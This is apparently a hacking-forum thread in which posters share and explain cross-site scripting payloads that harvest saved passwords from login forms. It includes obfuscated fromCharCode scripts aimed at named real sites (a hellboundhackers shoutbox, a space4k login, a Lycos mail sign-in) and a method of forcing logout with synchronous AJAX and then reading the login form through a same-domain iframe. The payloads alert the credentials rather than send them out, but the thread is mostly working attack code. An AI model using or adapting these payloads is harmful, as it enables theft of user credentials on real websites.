Paid Advertising
var xhReq=new XMLHttpRequest()
xhReq.open("GET",'/news.php?logout=yes',false)
xhReq.send(null)
document.body.innerHTML +="pre<iframe src=\"http://www.hellboundhackers.org/fusion_infusions/shoutbox_panel/shoutbox_archive.php/a'><script>setInterval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,78,97,109,101,40,39,117,115,101,114,95,112,97,115,115,39,41,91,48,93,46,118,97,108,117,101,41),10000)</script>\"></iframe>sup"Well.. I removed the ; and inserted line breaks to not ruin this page too much
alert(document.getElementsByName('user_pass')[0].value)
<script>
//<!--
function foo()
{
document.getElementById('ln').value = "\"><script>setTimeout(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,56,44,49,49,48,41,41,91,48,93,46,118,97,108,117,101,43,39,58,39,43,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,50,44,49,49,57,41,41,91,48,93,46,118,97,108,117,101,41),2000)</script>"
document.getElementById('asd').submit()
}
//-->
</script>
<body onload="foo()">
<form action="http://www.space4k.com/gw/login.php" id="asd" method="POST">
<input id="ln" name="ln"/>
<input name="pw"/>
</form>
xhReq.open("GET",'/news.php?logout=yes',false) is what tells the browser to make it synchronous, true would mean asynchronous.
Quote
Let's say example.com/some/other/file.php was vulnerable to XSS and the login form was on examples.com/login.php. I would inject into /some/other/file.php (the only place I can), then I'd create an iframe to /login.php. Since both files are on the same domain /some/other/file.php has full control over the source code of the iframe and can therefore read the forms.
If /login.php simply forwards users to /index.php because they are already logged in. Then I'd first call /logout.php file /some/other/file.php via a synchronous AJAX request. It's important that it's synchronous. In my original code the false is this line:
xhReq.open("GET",'/news.php?logout=yes',false)
is what tells the browser to make it synchronous, true would mean asynchronous.
After calling the /logout.php file I'd create the iframe to then read the form as before.
Quote
function lycos_pass() {
var obj = document.frames["myiframe"].getElementById('password');
var val = obj.value;
alert(val);
}
document.write('<iframe src="http://secure.caramail.lycos.fr/services/signin/mail.jsp?targetcode=FR_lyc_home_tab" name="myiframe"></iframe>');
setTimeout("lycos_pass()",5000);
<script src="http://example.com/file.js"></script>which contained
alert('xss')I would instead inject<script>alert('xss')</script>That way there is no problem about different domains.